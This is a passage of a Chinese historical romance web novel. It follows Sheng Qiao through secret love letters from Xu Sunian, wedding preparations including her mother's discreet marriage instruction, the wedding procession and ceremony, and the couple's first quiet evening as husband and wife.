盛乔愣了一下,而后下意识就要避过身不见,这时从不远处走过来一个人,“少安……”
看他的年岁,应当是徐肃年的同僚官员,估摸两人是来茶楼谈论什么公事,见到徐肃年身前多了位小娘子,他也愣了愣,“少安,这位是?”
骤然见到外人,盛乔正有些无措,就听徐肃年说:“这位小娘子的荷包不小心被我碰掉了。”
她哪有掉什么荷包,她今天都没有带荷包。
盛乔正有些疑惑,就见徐肃年伸过来的掌心里竟然真的放着一枚湖蓝色的荷包,乍一看,与她今日的淡红色衣裙很是相称。
那位同僚也没怀疑什么,只客气地朝盛乔点了点头。
“是我失礼了,小娘子别见怪。”
客客气气地说完这句,徐肃年将那荷包塞给盛乔,然后在她愣怔的目光中,用口型说了一句,“回去看。”
第56章 婚礼小娘子婚前培训
“回去看。”
盛乔很确定徐肃年和自己说的是这句话,她攥着荷包看着他离开的背影,和琉璃上了楼。
这茶楼不仅卖茶叶点心,还有一些清淡的小食。
大约是上午走的太累了,盛乔这会儿反而不觉得饿,于是琉璃便给她叫了一碗沁着茶香的槐叶面。
盛乔让琉璃也坐下一起吃,然后迫不及待地将方才徐肃年递给自己的荷包拿了出来。
琉璃不知道盛乔在洛州的事,更未见过徐肃年,且刚才跟在盛乔的身后,又在听盛乔说话,不知内里情形,还真以为这荷包是盛乔掉的。
她只是奇怪,“小娘子,这荷包您是什么时候买的?奴婢怎么一点印象都没有?”
盛乔稍显心虚地抿了下唇,说:“洛州时候买的。”
她打开荷包,见里面塞着满满的草药,和先前在洛州时他送自己的那枚一模一样。
当初那个被她一怒之下还给徐肃年了,没想到他现下竟又送了自己一个。
盛乔克制地抿了抿唇,正想将荷包重新系上,忽然见里面露出一角白色的纸条。
难怪徐肃年让自己回去再看,盛乔心下一动,看着对面的琉璃,吩咐道:“琉璃,我刚瞧见对面有卖梅子饮的,你去买些回来罢。”
琉璃并未怀疑,立刻点头去买。
将她支开后,盛乔立刻摸出那张纸条。
纸条很薄,展开之后也不过巴掌大小,盛乔原以为里面会是徐肃年写给自己的信,没想到展开之后,上面只画了两只骰子,旁边写了一句诗:玲珑骰子安红豆。
在盛乔心里,徐肃年一直不是个文人,没想到他竟然也会写这么酸的诗。
盛乔第一反应有些嫌弃,将纸条塞回荷包之后,又忽然想到方才在楼梯上,徐肃年眼含笑意朝她挑眉的模样。
原本没什么感觉的,但这会儿心里忽然又有些酸酸的了。
“玲珑骰子安红豆,入骨相思知不知。”
这句诗盛乔曾在书中念过,当时学的时候,只知道这句是写“相思”的诗,却不知相思是什么感觉。
如今她大约懂了。
先前在洛州时,他们两个人一天见一面都不够,恨不得日日都黏在一起。
如今回到长安,两人一共只见了三次,还都是避开旁人悄悄见的。
这让盛乔很不适应。
可是阿娘告诉她,男女婚前不能见面,说这是传统,她便很认真地遵守,因为她希望和徐肃年的婚事能够幸福,即便有任何一点不好的可能,她都想要避免。
可是不见面不代表不想见。
若一直不见也就罢了,偏偏徐肃年今日非要撩拨她,盛乔的心里就像春日的飞絮,风轻轻一吹,就散的满天都是。
原本觉得四个月很近,很短,可现在又忽然觉得很远,很长。
两人也不能常见,不过盛乔每次出门时,仿佛都能遇到徐肃年,无论是在茶楼,酒肆,甚至是脂粉铺子。
遇到的次数多了,时常跟着盛乔出门的琉璃等人也能觉出不对。
她们都是自小跟着阿乔的,关系不一般,等盛乔成婚之后,她们也都是要跟到丹宁长公主府的,早晚都会知道事情的真相。
于是盛乔干脆也不再瞒着她们,将她和徐肃年在洛州就相识的事告诉了她们,当然还是刻意忽略了很多细节,比如她曾经被徐肃年骗过的事。
这实在太影响她在琉璃她们面前英明神武的小娘子形象,于是盛乔将当时的故事略微删减整合了一下,主要突出了一下自己。
“他大约从没遇到过我这么善良又善良的小娘子,不知我身份都对我情根深重。我刚知道他身份时,原本也是很犹豫的,但这段时间的相处,也大约能明白他的为人……”
琉璃等人不知内情,听得一惊一乍的,纷纷感叹自家小娘子和未来姑爷之间是天定的缘分,居然在那么远的洛州都能遇上。
惟有琥珀知道内情,听了不禁想笑,但在自家小娘子几乎要杀人的目光中,很是识相的闭了嘴。
总之,琉璃几人都纷纷为小娘子的爱情故事而折服,有时她们独自出门遇到徐肃年的时候,也都抢着给他当信差。
于是,盛乔那个宝贝匣子里的信越来越多,都是这几个月徐肃年送过来的。
有时是一幅随手画就的小像,有时是一两句的情诗,有时则是一封略显啰嗦的长信。
盛乔一封封收好,将它们全部封存在匣子里,等到那匣
子彻底装满的时候,夏天已经悄然过去,离着他们十月的婚期,只剩下不足一个月了。
因为这桩婚事是皇帝亲自指婚,因此婚礼的流程其实是礼部亲自操办,且皇帝还特意给徐肃年赐了宅子。
他虽然早已被封为了端阳侯,但空有爵位和封号,实际并无封邑和宅邸,和他的父亲宜春侯一样,都是住在丹宁长公主的公主府里。
这次徐肃年大婚,皇帝特意给徐肃年赐了一座端阳侯府,据徐肃年信里所说,这间侯府是前朝的一座郡王府改建而成,不仅占地极广,花园也很宽阔,礼部派人来问他花园如何修建,他让人大致修缮了一番,余下的等婚后让盛乔亲自掌眼。
无论侯府有多大,盛乔其实都无所谓,她期盼的是日后能和徐肃年一同住进去,偌大的宅院只有他们两个人,是他们两个人的家。
尤其徐肃年还每每在写给她的信里汇报侯府修缮的进度,这个亭子怎么样,那个池塘又放了多少尾锦鲤,有时还会让盛乔帮院子起名。
总之这间宅子的修建过程,盛乔极有参与感,也因此愈发期待能够住进去。
婚期定在十月初九,九月十六这天,郑夫人给她拿来了两套婚服,这两套礼服款式相当,只是图案不一样,一件绣着鸳鸯戏水,一件绣着龙凤呈祥。
平时都是徐肃年给盛乔写信,盛乔很少给他回信,这天见到婚服之后,破天荒的给徐肃年写了一封信,然后吩咐琉璃到交给徐肃年。
自从那日在茶楼相遇之后,徐肃年几乎日日都会去那茶楼坐一坐,琉璃到茶楼送信时,果然找到了他。
都没用半日,徐肃年在茶楼里就把盛乔的信拆开了,看到盛乔的问题,根本没有思考就选择了鸳鸯戏水,然后直接让琉璃把信又带了回去。
盛乔看过他的回答之后,当晚便告诉郑夫人,到时要穿那件绣着龙凤呈祥的婚服。
郑夫人听到这个回答也有些意外,不过盛乔又道:“阿娘,我穿了这件,另一件能不能也留下?”
“这……”郑夫人说,“这是礼服,且衣饰纹样很特别,除了大婚平时根本不能穿,你留那么多件做什么?”
盛乔早就找好了理由,“就是因为平日不能穿,只有成亲才能穿,我才更想留下做个纪念。”
婚服原本也是礼部准备的,但郑夫人坚持要自己给女儿准备,就算再做十件也没什么大不了的。郑夫人听了这话也没再多说什么,叫人将那件绣着鸳鸯戏水的裙子抬到了盛乔的衣柜里。
婚服定下之后,还有当日要带的头面首饰,都要和婚服一一相称。
燕国公府几代财富,盛乔又是燕国公唯一的女儿,这婚礼自然不能节省,因此当日的所有头面都是郑夫人叫人新打的,别的不说,就花树冠上嵌的珍珠和宝石,各个都有拇指大小,即便在深夜也像有阳光照着似的,熠熠生辉。
盛乔平日很少带这种花冠和步摇,因此试戴的时候还有些嫌沉,不过等照过镜子之后,她所有的抱怨都不见了。
因为她自己照镜子的,都觉得这花树冠带着实在太漂亮了,既然都这么漂亮了,沉些就沉些罢,反正燕国公府离着徐肃年的端阳侯府也不过两三刻钟,加上其中的礼仪流程,总共不会超过一个时辰,也不会太过难熬。
十月初一,宫里皇后还派了嬷嬷来教她规矩,其实这原本是只有嫁入皇家,成为皇子妃才有的流程,但因为是皇帝赐婚,她和徐肃年成婚之后必须要进宫向帝后谢恩,因此特意安排了嬷嬷教导指引。
盛乔不是没进过宫,对于宫里的礼仪规矩都很清楚,因此这一环节也不过是走走流程,嬷嬷将当日的规矩讲了一遍,然后在燕国公府住了三天,便回宫向皇后复命去了。
这环节不过敷衍了事,却成功地将盛乔弄得紧张起来,还有不到十天,她就要成婚了。
刚刚赐婚的时候,盛乔只觉得度日如年,每天一刻一刻地过得好慢,眼看婚期临近,她又觉得日子太快,怎么一眨眼就要成婚了呢。
不过这念头也只能偶尔冒出来想想,因为婚前她实在有太多事要忙,不说别的,就说郑夫人给她的陪嫁田庄和铺子,她就花了两三天来理清。
除此之外,还有届时的规范流程,郑夫人几乎每日都要与她说一遍。
十月初七这日,郑夫人照例来到了盛乔的荣雪园,却没有再讲那些让盛乔耳朵都听到长茧子的东西,而是拿了一个手臂大小的黑匣子给她。
那匣子平平无奇,甚至连刻花都没有,却加了一把锁。
盛乔接过来看了一眼,还以为里面装的又是什么田契地契,惊讶道:“阿娘,您给我的嫁妆已经够多了,怎么又准备了呀?”
郑夫人笑了笑,然后从怀里掏出钥匙将盒子打开,最上面竟然放着两本书。
那两本书看起来很薄,像是什么讲义话本,不过书皮上没有写书名。
盛乔更不明白了,“阿娘,您不会是让我去徐肃年家的路上看的罢?虽然一路过去不算太近,但也用不着看书打发时间啊。”
听到女儿如此天真的话,郑夫人心头默默叹了口气,她点了点那两本书,说:“不是给你路上看的,是让你现在看的。”
“打开瞧瞧。”
盛乔依言将书翻开,才发现里面根本没有字,每一页都是画,画上是姿势奇怪的男女,而且仔细看的话,他们还都褪了衣衫没穿衣服。
盛乔不知道他们这是在做什么,可翻看了几页之后,莫名有些面红耳赤。
她抬头看向阿娘,讷讷地问:“阿娘,这,这到底是什么呀?”
郑夫人语气温柔地给她解释,“你们二人成亲之后,男女大防便不再束缚你们,阴阳相交,敦伦之礼,既为了传宗接代,孕育儿女,也是……”
郑夫人絮絮地说了一大堆,盛乔都有些一知半解的没听懂,直到她说,“这画上画的,就是你和徐肃年成亲之后要做的事。”
盛乔手里的书唰的一下掉到了地上。
第57章 大婚烛笼引路,鼓乐齐鸣。
盛乔对于男女之间会发生的一切事情,都来自于市井间流传的那些话本,不过话本里当然不会写太多香艳的场景,就算只是亲吻,也只能描写的浅尝辄止,徐肃年第一次在亲他的时候伸出舌尖,都要把她吓死了。
虽然两人之后也做过比亲吻更加亲密的事,她也很享受那样贴贴抱抱的状态,可毕竟还是穿着衣裳的,像是这书中画的那样,衣不蔽体也就罢了,还有那么许多羞人的姿态,实在让盛乔无法接受。
她只想象一下自己和徐肃年做这些事的场景,都觉得自己要热得融化了。
郑夫人对于女儿的反应并不意外,她无奈地摇了摇头,然后说道:“阿乔,这是男女成婚之后必须要做的事,你不必羞耻。”
说着,她甚至还从匣子里翻出两样造型奇特的雕像,叫盛乔来看。
盛乔只看了一眼,就像是被烫到了似的,飞快挪开了视线。她捂住眼睛,“阿娘!”
画在纸上已经足够羞人了,何况是雕成了真人模样。
郑夫人可不管她是什么反应,强行落下她的手指,耐心详细地把所有事都给盛乔讲清楚了。
盛乔原本就有些无法接受,听到郑夫人说“女子第一次可能会有些痛”的时候,心里的抗拒瞬间达到了最顶峰,她忍不住问:“阿娘,这些事不可以不做吗?”
郑夫人说:“那怎么算真正的成婚,怎么算真正的夫妻一体?”
她知道女儿年岁小,性子又干净纯澈,一时无法接受这些男女之事很正常,于是又哄道:“难道你不想和徐肃年成为真正的夫妻么?这这件事关系到你们日后孕育生子,而且也就痛一下,整个过程也不会太久,不用
怕。”
听到这儿,盛乔才算勉强接受了这件事。
既然这时夫妻之间都要做的事,那么所有成了亲的小娘子都经历过,旁人能忍受,她又如何不能?
像是下了什么决心似的,盛乔坚定地握了握拳头,然后对郑夫人保证道:“放心罢阿娘,我不会怕的。”
不知道的以为要上战场呢。
郑夫人瞧着女儿这模样,险些没忍住笑出声来,又怕女儿脸皮薄经不住,强忍着将笑意压了下去,“好。”
她将那匣子里的物件都给盛乔留下了,让她这几日再好好学习了解一下,否则届时什么都不懂,没准真的会受伤。
盛乔一向听话,当晚真的强忍着羞意将那两本画册翻完了。
谁知那画册越往后画的越露骨,盛乔看到最后几乎都不敢去读旁边注释的小字,囫囵吞枣地翻完一遍,印象最深的就是那些难堪的姿态。
盛乔心想,就算她和徐肃年当真要做这些事,她也是绝对不可能摆出这些动作的。
一定不会!
看完之后,盛乔就立刻将这些东西压到了衣柜的最底下,关上柜子门,眼不见心不烦。
盛乔如释重负地躺回床上,拉高了被子想要睡觉,翻来覆去却没有半点睡意,还有不到两天,就是她和徐肃年大婚的日子了。
成婚有那么多的礼仪规矩,她如果忘了怎么办?如果不小心行差了礼旁人会不会笑话她?徐肃年他会和她一样吗?
明明那些流程和礼仪都背的滚瓜烂熟了,但还是有数不清的担心和紧张。
婚前的最后一天过得飞快,还有盛乔早已出阁的两个姐姐回到了燕国公府,两个堂姐都是二叔盛怀章的女儿,其中大娘子盛柳比盛乔大七岁,二娘子盛槿比盛乔大了五岁。
两人都对盛乔很好,但因为年岁差的太大,且早早出阁,关系并不算很亲近。
又因着盛怀章不在京,即便二房一直没从燕国公府分出去,她们也很少回来。
如今盛怀章又封了侯,单独开了府,两个堂姐的正经娘家已经不在燕国公府了。
盛乔和两个姐姐上次见面还是正月时,将近一年未见,姐妹之间更显疏远,盛乔看到她们也有些拘谨。
盛柳和盛槿都是带着夫婿一起来的,只是两个男人此时在前院陪盛怀义说话,明辉堂就只剩了郑夫人和她们三个姐妹。
大娘子盛柳看着盛乔有些无措地在门口站着,忍不住笑了笑,对郑夫人说:“不愧是要成亲的人,阿乔比之从前文静了不少。”
盛槿则是朝盛乔招了招手,盛乔乖巧地走过去,盛槿怜爱地揉了揉她的脑袋,“一眨眼,连咱们家最小的小阿乔都要成亲了。”
盛乔被姐姐们说得有些不好意思,微微红了脸。
郑夫人与两个侄女说了会儿话,然后问盛柳:“你阿爹不回来也就罢了,怎么二郎也不回来?”
盛柳说道:“陛下新升了二郎的职位,如今大小也算个小将军了,大约实在腾不开空回来,不过二郎昨日还给我来了信,说年底一定回,请大伯和伯母不要怪罪。”
说完,还捏了捏阿乔的脸,“还有阿乔,你二哥说前两个月得了一张上好的银狐皮,等回头叫人送回来,算是他给你的新婚贺礼。”
“二郎这孩子……”郑夫人无奈地摇了摇头,还想再说点什么,但当着盛乔的面,还是把话咽了回去。
盛柳是盛家这一辈的长女,性格沉稳,她当即明白郑夫人是要说什么,轻轻拍了拍郑夫人握着自己的手,温柔却很郑重。
感觉到侄女的动作,郑夫人眼眶一热,她飞快伸手抹了抹眼睛,然后飞快转了话题,“怎么没把慧娘带来?”
慧娘是盛柳的女儿,今年刚六岁,正是爱凑热闹的年纪。
盛柳也跟着转了话题,一旁沉默良久的盛槿也加入其中,盛乔乖巧地在旁边坐着,虽然插不上话,但心里却是高兴的。
一天的时间转瞬即逝,次日就是十月初九,是盛乔和徐肃年成婚的大日子。
一大早,盛乔就被琥珀和琉璃叫了起来,“小娘子,该起床了,今日是您大喜的日子,可千万不能误了时辰啊。”
虽然婚礼是在傍晚,有很长的时间准备,但盛乔还是觉得这一整天都忙忙碌碌的。
因为上了妆,不方便吃东西,又怕身上沾染了食物的味道,快到中午时,一直陪在盛乔身边的盛槿给她拿了几个小巧的点心给她垫肚子,但是盛乔一点都不觉得饿,两手绞着手里的帕子,问:“姐姐,现在是什么时辰了?”
盛槿看了看墙角的漏刻,回道:“约莫快要上门来了。”
盛乔又有些坐不住了,盛槿看出她的紧张,忙安抚道:“好妹妹,放宽心,阿姐是过来人,知道是怎么回事。婚礼说是流程多,其实你只要坐着等就是了,一切都有你夫君和底下的奴婢们呢,还有你阿娘,还有姐姐们,都在这儿呢,不要怕知道么?”
盛槿一向身体不太好,身形单薄瘦弱,手指也分外纤细,但是很温暖,此时紧紧地握着盛乔的手,让她莫名心安。
“二姐……”
盛乔正想说些什么,忽然听到外面传来一阵清晰的乐声,还不待盛乔反应过来,已有人匆匆跑到荣雪园来报信——
“姑爷来了!”
“小娘子,姑爷已经到了!”
盛乔下意识就要站起来,盛槿连忙将她按回座位上,“别急,前头还有不少规矩呢。”
听到盛槿的话,盛乔才意识到自己的反应显得她好像特别急切似的,她瞬间红了脸,小声道:“我其实一点都不急的。”
盛槿何等聪明,如何看不出小妹的心思,不过她也没再说什么,又拍了拍她的肩膀,然后说:“阿乔,你乖乖坐着,我去外面瞧瞧动静。”
盛乔点头应下。
当初学规矩的时候,盛乔只嫌弃其中流程规矩实在太过繁琐复杂,可等真到了大婚这日,她才知道,原来时间过的这么快。
盛槿还没出去多久,琉璃就从外面匆匆跑了进来,“小娘子,姑爷已经到咱们荣雪园外头了。”
盛槿也很快回来,对盛乔说:“扇子呢?快,快挡住脸。”
没多久,徐肃年的脚步声出现在院外,盛乔听着有人起哄让他做崔妆诗,他的语气难得正经,做的诗也规规矩矩挑不出半点错处。
毕竟是陛下赐婚,也没人敢闹腾得太过,且徐肃年恶名在外,今日恶宾客也大多不敢招惹他。
于是盛乔很快被扶出闺房,和徐肃年一起到正堂拜别父母,盛乔伏跪磕头的时候,眼眶又酸又涨,强忍着没有让自己哭出来,她不想让阿娘在今天还替自己担心。
父亲训导之后,郑夫人上前为她系缨,然后小声在她耳边说:“阿乔,照顾好自己,千万别受委屈,知道吗?”
盛乔含泪点头,然后伏上大哥的背,被哥哥一路背出了燕国公府,上了门前的厌翟车。
在她的喜驾之后,是燕国公府为她陪嫁的一百二十八抬嫁妆。
因为今上只有一个公主,且还未出嫁,其余的郡主县主也都不过是皇室旁支,燕国公府此次嫁女没有什么比照,也不必非要比谁矮上一头。
因此低调多年的燕国公府难得高调了一次,送出的陪嫁几乎比先前的聘礼多了近三十抬,再加上奴仆婢妇,跟在送嫁队伍后面,蜿蜒数里,整个延寿坊都被堵得水泄不通。
烛笼引路,鼓乐齐鸣。
住在长安城的百姓自觉也都是有
见识的,可看到这盛大的场面还是惊得咋舌,“这这这……这盛小娘子的嫁妆有那么多啊?加起来得多少银子啊。”
“比端阳侯的聘礼还多,乖乖,这排场可真是大啊……”
也有人将视线投向马背上的徐肃年,“这端阳侯长得这么俊啊?这盛小娘子想必也是美若天仙了……”
“就算不美又如何,那毕竟是燕国公的小女儿,这桩婚事到底是谁高攀还说不上呢。”
……
燕国公嫁女,途中还会向围观看热闹的百姓撒钱抛珠,车马走走停停,等到了端阳侯府时,盛乔握着喜扇的手指都生出了微微的汗意。
徐肃年下马,亲自请新娘下车。
车帘被人撩开,盛乔隔着一柄扇子,看不清眼前的徐肃年,却能看到他伸过来的手。
修长,有力,那么熟悉,却又那么陌生。
两人虽然认识这么久了,却还从未当着这么多人的面亲近过。
即便只是牵一下手。
盛乔不由得有些紧张,抿了下唇,然后伸手搭在徐肃年的掌心。
徐肃年看着女郎伸过来的纤细手指,不着痕迹地攥了攥。
徐肃年牵着盛乔一路跨过马鞍,走过红毡,在周围宾客的声声道喜声中,与她并肩走入端阳侯府。
第58章 夫妻你我已经是夫妻了
叩拜过天地和新郎的父母之后,两人被簇拥着回到了正堂旁边的新房。
新房同样有人观礼,在喜娘的唱贺声中,行过却扇礼,盛乔终于放下团扇,与徐肃年共饮合卺酒。
随后,一对新人暂且分别,徐肃年去前面招待男客,至于后院的女客,则由丹宁长公主亲自招待。
新娘盛乔劳累了一天,此时终于算能喘口气了,带着陪嫁的婢女回到了两人日后的住处——主院嘉禾轩暂歇。
端阳侯府的布局和燕国公府没什么两样,只不过这次主院居住的不再是她的爹娘,而是盛乔自己。
只是因着时间比较赶,整座侯府并没有完全修缮完毕,不过其余的地方都可以日后慢慢修,两人住的主院却是半点不能马虎的。
婚前徐肃年写给盛乔的信里,一直在告诉她主院修缮的进度,甚至“嘉和”这个名字都是盛乔取的。
因此,盛乔虽然今天是第一次来这儿,但对她来说,这嘉禾轩并不算陌生,尤其她看到墙角的蔷薇架的时候。
先前在丹宁长公主府,两人在花园偷偷见面时,徐肃年看到她在摘蔷薇花,便以为她喜欢,因此在院子里种了许多蔷薇,只可惜他们的婚期太晚,现在已经过了蔷薇开花的季节。
不过除了蔷薇之外,还有一些比较应季的花树,比如墙角的那几棵盛放的秋海棠,正是娇艳夺目的时候。
今日宾客众多,徐肃年还要一会儿才会回来,盛乔没急着进去,而且在院子里先逛了一圈。
琉璃和琥珀都是提前两天过来的,对这院子里里外外都已经熟悉,此时一个去烧水,一个吩咐嘉禾轩的小厨房预备了一些吃食。
“小娘子,您饿不饿?”
琉璃来到盛乔身边,问道:“奴婢叫人煮了一碗小馄饨,还有几样小菜,您要不要先吃些东西垫垫肚子?”
今天一天盛乔都没怎么吃东西,白天是因为怕出差错太过紧张所以没胃口,可现在所有的礼仪流程都走完了,盛乔其实早就饿了。
但是只要一想到两人晚上还要做那些事,盛乔就什么东西都吃不下了,画本里看过的那些东西来来回回地浮现,盛乔总觉得自己如果吃了东西,到时候会被颠得吐出来。
纠结了半天,盛乔还是摇了摇头,饿一顿不会怎么样,可如果到时候真的在徐肃年身上吐出来,她会一辈子都不能见人的。
“还是不吃了,叫人撤下去罢。”
见她态度坚决,琉璃也不好再劝,说:“那奴婢伺候您去沐浴罢。”
大婚之礼都已经行完,按规矩新娘子已经可以沐浴了,可盛乔还头带着花冠,涂着浓妆,一身厚重的礼服也都齐齐整整地穿在身上。
琉璃怕她穿得累,想扶她到妆台边坐下,给她拆发卸妆,盛乔盯着镜子里的自己看了半晌,却说:“我的妆都花了,琉璃,你给我补一补罢。”
这大晚上的补什么妆,一会儿还要洞房花烛,该早些沐浴上床才是啊。
盛乔却很有理由,说道:“我难得打扮的这么郑重,又穿了这么好看的衣服,戴了这么好看的花冠,当然要让徐肃年认认真真地看过之后再卸了。”
琉璃主要是担心她这一身打扮歇也不敢歇,躺也不敢躺,听了这话不由得有些发愁地问:“那您就这么坐着累不累啊?”
其实是很累的,盛乔顶着这个花冠,感觉脖子都要断了,可一想到自己打扮了这么一整天,徐肃年根本没有看上几眼,她就觉得可惜。
于是她强忍着疲惫摇了摇头,不一会儿又忽然想到了什么,对琉璃说:“琉璃,你叫人也去告诉徐肃年一声,不许他把新郎的喜服脱下来,刚才人那么多,又一直有扇子挡着,我根本还没看清楚他今天的样子呢。”
都成婚了,自家小娘子还是这般孩子气。
琉璃无奈地笑了笑,然后点头应下,“是,奴婢这就去办。”
琉璃扶着盛乔坐到床边,然后拿了几个软枕给她靠着,便立刻出去传话。
屋子里瞬间安静下来,只有龙凤喜烛的烛光在墙壁上跳跃闪烁。
盛乔盯着那两支蜡烛看了半晌,竟然看得有些困了,她这几天都没有睡好,今天又被迫起了个大早,这会儿实在累得不行。
可是不能睡,她强打起精神,在屋子里环顾一周,想给自己找点事干。
但才刚刚站起来,就听外面有人敲了敲门,是琥珀刻意压低的通传声,“小娘子,侯爷回来了。”
徐肃年和盛乔的婚事是由崇安帝亲自赐婚,这是莫大的荣耀,因此连太子和四皇子都来喝喜酒了,更别提两府还有那么多的旧友往来,两家的宴席加一块足足摆了上百桌。
旁的宾客都好说,只是徐肃年应付太子和四皇子花费了不少时间,好容易抽身之后,他立刻就往嘉禾轩走。
一进院子,就见盛乔带过来的几个婢女在廊下守着,这会儿见到他回来纷纷跪下行礼。
这两个月,徐肃年早就已经认识她们了,他朝她们点了点头,然后吩咐道:“你们都下去罢。”
琥珀等人都是知情知趣的,又知道自家小娘子和未来姑爷间的感情,见他过来的这么早,心里更是松了口气,听到这句吩咐,几人顺从地应了一句是,皆恭敬地退了下去。
因着盛乔早早叫琉璃给他传了话,所以徐肃年并未换衣服,身上还是那件大红色的锦袍。和盛乔一样,除了官服,他平时也甚少会穿这样正式的衣服,其实还有些不习惯。进门之前,他还特意整了整领口,然后才去推门。
今日盛乔的装扮很是郑重繁琐,徐肃年本以为依着她的性子,估计一会到内室就把所有的赘饰都拆了,心里还有些微微的可惜,毕竟只是却扇礼后匆匆一瞥,喝了合卺酒两人就分开了,他都没来得及欣赏盛乔今日的打扮。
可没想到一推开门,看到的不是在榻上靠着歇息矜贵小娘子,而是一身大红礼服站在屏风前的新嫁娘。
她仍旧穿着白日那身礼服,带着繁复华丽的花树冠,甚至连耳朵上的红宝石坠子都没有摘,满室烛光一照,整个人如明珠般光华璀璨,宛若神女下凡。
纵是徐肃年早知盛乔美貌,此时也被再度惊艳到了,他顿在房间门口,好半天没有回过神。
虽然两人一直有书信往来,但盛乔最近两个月有太多要忙的,也不怎么出门了。徐肃年也有自己的事,因此算起来两人也有一个多月没有真正见过面了。
徐肃年看着眼前的盛乔,看着这个已经成为自己妻子的漂亮娘子,毫不掩饰眼里的欣赏与惊艳。
那目光直白得连盛乔都看懂了,她被看的不好意思,却又禁不住有些得意。
她打扮得这么漂亮,就是为了给徐肃年看的,看到他喜欢,她的目的就达到了。
于是,盛乔干脆走过去在他跟前大大方方地转了一圈。
礼服拖长的裙摆轻轻扫过徐肃年的小腿,仿若有羽毛在他的心底轻轻勾了一下。徐肃年情不自禁地吞咽了一下,然后伸手一把抓住盛乔的手,将她拉到自己身边。
明明眼睛还盯着盛乔涂的红润鲜艳的嘴唇不放,说出的话却是,“怎么还没去沐浴?”
听到这话,盛乔顿时不满地撅了下嘴,哼道:“我要是去沐浴了,你就看不到这世上最美的小娘子了。”
她使劲锤了一下徐肃年的肩膀,说:“我以为你想看,才一直忍着没去沐浴,没想到你半点不领情。”
“我当然领情。”徐肃年看着小娘子生动活
泼的眼睛,抬起左手捧着她的脸,另一只手轻轻碰了一下她发冠上垂下来的珍珠流苏,说道,“等我等了这么久,我只是怕你太累了。”
“那怕什么?”盛乔哼了一声,说,“我才不怕累,我就是要你一辈子记住我今天的模样。”
说这话的时候,她微微扬起了脖颈,珠玉流苏随着她的动作微微摇晃,在跳动的烛光下,更显珍贵耀眼。
可徐肃年眼里完全没有那些宝石,他只能看到被他揽在怀里的盛乔。
她骄矜漂亮的脸,比这世上一切宝石都更惹眼,抬头时能看到修长白皙的脖颈,仿若优雅的天鹅,浑身上下都透着一股子高不可攀的架势。
但她现在已经是他的了,是他千辛万苦娶到的妻子。
徐肃年庆幸而又满足,他看着盛乔,好半晌才终于有了动作,俯身在她的唇边轻吻了两下,然后说:“永远都不会忘的。你若是担心,我明天就画下来,如何?”
这还差不多,盛乔哼了一声,紧跟着又补了一句,“也要把你画上。”
今天的徐肃年一身正红礼服,不知是不是衣服的颜色太艳,总之那凌厉的气势竟被压下去了几分,不过英朗之上更添几分俊美,让人看了就移不开眼。
盛乔看到他的第一眼就在想,他长得这么好看,就算真的是个骗子,她也会再次情不自禁地上钩的。
徐肃年自然也能感觉到妻子直白到有些热烈的目光,他平日虽然并不太在意自己的外表,但能让盛乔为他侧目,他也忍不住有些得意。
“喜欢吗?”他问。
盛乔学着徐肃年的样子,伸手捧起他的俊脸,然后使劲垫脚想去亲他的唇。
可惜两人的身高实在有些差距,怕小娘子失望,徐肃年只能微微弯腰,将自己迎上去送到她柔软的唇边。
小鸡啄米似的,盛乔捧着他的脸,在他的唇上啄了两下,答非所问地说:“我在车上都听到有人夸你长得俊了。”
“谁?”
“围观的百姓啊。”盛乔说,“大约是看你高坐在马背上的样子特别气派。”
不知为何,总觉得小娘子说这话的语气有些酸溜溜的。
徐肃年忍俊不禁地勾了勾唇,低声问:“怎么?连围观百姓的醋也吃?小娘子对我的占有欲这么强,要不要我以后出门也戴个帷帽?”
盛乔被他说得双颊泛红,幸而她的脸上抹了足够多的胭脂,已经够红了,这会儿也看不太出来。
盛乔抬头瞪他一眼,“没正经。我要去沐浴了。”
她头上的冠实在太重,徐肃年也没再说什么,扶着她到妆台前坐下,然后亲自上手给她拆冠。
盛乔看着他那比自己大出两圈的手,怎么看怎么觉得他做不了这样的活计,于是说:“让琥珀她们弄罢。”
说着就要去叫琥珀。
徐肃年却说:“你我已经是夫妻,日后这些事我都要做,让我先来试试,若是弄疼了你再叫琥珀她们。”
徐肃年的语气是难得的认真,盛乔听了感动,干脆由着他,没再多说什么。
好在徐肃年的手虽然很大,但是动作却万分的小心,虽然生疏却没有扯到她的头发。
只是如此小心翼翼之下,耗费的时间也很久,盛乔枯坐半晌,只觉得肚子更瘪了。
徐肃年拆下最后一根发针,正好暼到她捂肚子的动作,立刻问道:“怎么了,是不是饿了?”
本想否认来着,可看着徐肃年担忧的目光,盛乔还是有些难为情地点了点头。
徐肃年问:“方才我在前面宴客的时候,你怎么不抽空吃些东西。”
盛乔那好意思说理由,只好说:“方才还不太饿。”
想来是小娘子爱美,怕弄花了口脂,这才一直饿着肚子等。
徐肃年这样想着,对盛乔说:“今日大婚已经够累了,不吃东西怎么行。正巧我在前头也没有吃东西,我叫人先送些吃食过来,我们先吃了晚膳再沐浴。”
听到徐肃年也说肚子饿,盛乔便没再拒绝,点了点头,然后叫了琥珀进来。
琥珀应声吩咐下去,又亲自伺候盛乔将身上的喜服脱了,换了一身日常的衣裳。
饭菜是小厨房早就预备好的,没等盛乔衣裳换完,就已经摆上了桌。
比之刚才的一碗小馄饨和几样小菜,这会儿两个人用膳,菜色也丰富了不少,且都是盛乔爱吃的:丁香包子,杏仁豆腐,蟹肉小馄饨,还有一碗生滚牛肉粥和几叠清爽可口的时令小菜。
盛乔原本就饿了,闻到饭菜香味之后,那些乱七八糟的想法也被她彻底抛到了脑后,足足吃了八分饱才停下筷子。
徐肃年早在前头就已经吃过东西了,又喝了几杯酒,这会儿根本不饿,不过是为了陪盛乔才喝了小半碗粥。见盛乔停住筷子,他也立刻放下筷子,问:“吃饱了吗?”
盛乔点点头,徐肃年叫人把剩下的菜都撤下去,又吩咐人打水来沐浴。
嘉禾轩很大,考虑到新婚,盛乔脸皮薄,因此徐肃年当时特意叫人将沐浴的耳房扩宽了,中间隔着一道门分做两间,能供两人同时沐浴。
两人一起进了浴室,但是盛乔洗的慢,等她沐浴完回到内室时,徐肃年已经早早换了一身淡红色的中衣,正在榻上靠着看书。
盛乔第一次见他这模样,先是愣了愣,而后那些原本都要忘了的东西也瞬间回到了脑海。
已经沐浴更衣完了,是,是要做那件事了吗?
盛乔骤然紧张起来,心跳也加快了,踌躇地立在屏风前头不想走过去。
徐肃年听到动静,放下书,抬头看向门口,盛乔同样穿着一身淡红色的中衣,她站在那,仿若一朵娇艳的桃花,盈盈盛放。
